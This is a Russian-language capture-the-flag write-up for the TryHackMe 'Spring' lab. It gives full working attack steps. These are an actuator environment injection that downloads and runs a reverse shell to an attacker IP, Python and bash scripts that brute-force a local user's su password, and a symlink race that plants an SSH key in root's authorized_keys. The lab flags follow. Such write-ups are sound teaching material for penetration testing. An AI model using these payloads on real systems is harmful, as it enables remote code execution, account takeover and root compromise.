Spring
Получение reverse shell
Я его получал долго, так что вот вам как его получать:
┌──(kolya080808㉿Nikolapc)-[~/school]
└─$ curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'wget http://10.23.10.131/reverse.sh -O /tmp/reverse.sh\');\"}' "https://spring.thm/actuator/env" -k
{"spring.datasource.hikari.connection-test-query":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('wget http://10.23.10.131/reverse.sh -O /tmp/reverse.sh');"}
┌──(kolya080808㉿Nikolapc)-[~/school]
└─$ curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://spring.thm/actuator/restart" -k
{"message":"Restarting"}
┌──(kolya080808㉿Nikolapc)-[~/school]
└─$ curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'bash /tmp/reverse.sh\');\"}' "https://spring.thm/actuator/env" -k
{"spring.datasource.hikari.connection-test-query":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('bash /tmp/reverse.sh');"}
┌──(kolya080808㉿Nikolapc)-[~/school]
└─$ curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://spring.thm/actuator/restart" -k
{"message":"Restarting"}
┌──(kolya080808㉿Nikolapc)-[~/school]
└─$ cat reverse.sh
bash -c "bash -i >& /dev/tcp/10.23.10.131/9000 0>&1"
Перебор пароля для johnsmith
cat rockyou.txt | grep -E ^[A-Z][a-z]+$ > capitalized.txt
import subprocess
import sys
import os
import signal
import time
from multiprocessing import Process, Value
from threading import Lock
# Для управления завершением всех процессов
found = Value('b', False)
lock = Lock()
def progressbar(current, total):
progress = int((current * 100) / total)
done = int(progress * 40 / 100)
left = 40 - done
bar = "#" * done + "-" * left
sys.stdout.write(f"\rCracking : [{bar}] {progress}%")
sys.stdout.flush()
def brute(keyword, total_pid):
password = f"PrettyS3cure{keyword}Password123."
try:
output = subprocess.check_output(
['su', 'johnsmith', '-c', 'id'],
input=f"{password}\n",
stderr=subprocess.STDOUT,
universal_newlines=True,
timeout=2
)
if "Authentication failure" not in output:
with lock:
if not found.value:
print(f"\nCreds Found! johnsmith:{password}\n{output}\nbye...")
found.value = True
os.killpg(os.getpgid(total_pid), signal.SIGTERM)
except subprocess.CalledProcessError:
pass
except subprocess.TimeoutExpired:
pass
def main(wordlist_path):
os.setpgrp() # Запускаем свою группу процессов
total_pid = os.getpid()
with open(wordlist_path, 'r') as f:
words = [line.strip() for line in f if line.strip()]
total = len(words)
current = 1
procs = []
for word in words:
if found.value:
break
p = Process(target=brute, args=(word, total_pid))
p.start()
procs.append(p)
progressbar(current, total)
current += 1
time.sleep(0.01) # небольшой интервал, чтобы избежать спама
for p in procs:
p.join()
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 brute_script.py <wordlist.txt>")
sys.exit(1)
try:
main(sys.argv[1])
except KeyboardInterrupt:
print("\nInterrupted by user. Exiting.")
sys.exit(0)
# ЭТОТ БЫСТРЕЕ
#!/bin/bash
set -m
export MASTER_PID=$$
trap "trap - SIGTERM && kill -- -$$" INT SIGINT SIGTERM EXIT
# https://github.com/fearside/ProgressBar/blob/master/progressbar.sh
function draw_meter {
let _percent=(${1}*100/${2}*100)/100
let _filled=(${_percent}*4)/10
let _empty=40-_filled
_filled=$(printf "%${_filled}s")
_empty=$(printf "%${_empty}s")
printf "\rWorking : [${_filled// /#}${_empty// /-}] ${_percent}%%"
}
function attempt_access() {
token=$1
probe="PrettyS3cure${token}Password123."
response=$( ( sleep 0.2s && echo $probe ) | script -qc 'su johnsmith -c "id"' /dev/null)
if [[ $response != *"Authentication failure"* ]]; then
printf "\rAccess Granted! johnsmith:$probe\n$response\nclosing..."
kill -9 -$(ps -o pgid= $MASTER_PID | grep -o '[0-9]*')
fi
}
dictionary_file=$1
total_words=$(wc -l $dictionary_file | grep -o '[0-9]*')
progress_counter=1
while IFS= read -r candidate
do
attempt_access $candidate &
draw_meter ${progress_counter} ${total_words}
progress_counter=$(( progress_counter + 1 ))
done < $dictionary_file
waitc
Код получение root-а (рабочий, НЕОБХОДИМО ЗАПУСКАТЬ В ~/tomcatlogs, А ТАК ЖЕ ПОСЛЕ ВЫХОДА ИЗ REVERSE SHELL И ПОСЛЕДУЮЩЕГО ВХОДА ПО SSH (с помощью заранее подготовленного ключа), ТАК КАК СЕРВЕР ВЫКЛЮЧАЕТСЯ НА ВРЕМЯ ПОЛЬЗОВАНИЯ REVERSE SHELL):
#!/bin/bash
[ -f ./key ] && true || ssh-keygen -b 2048 -t ed25519 -f ./key -q -N ""
pubkey=$(cat ./key.pub)
curl -X POST -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://localhost/actuator/shutdown" -k
d = $(date '+%s')
for i in {1...30}
do
let time=$((d + i))
ln -s /root/.ssh/authorized_keys "$time.log"
done
sleep 30s
curl --data-urlencode "name=$pubkey" https://localhost/ -k
sleep 5s
ssh -o "StrictHostKeyChecking=no" -i ./key root@localhost
Флаги:
- Foothold: THM{dont_expose_.git_to_internet}
- User: THM{this_is_still_password_reuse}
- Root: THM{sshd_does_not_mind_the_junk}
Видео выполнения
- Оригинал:
- YouTube (pt 1)
- YouTube (pt 2)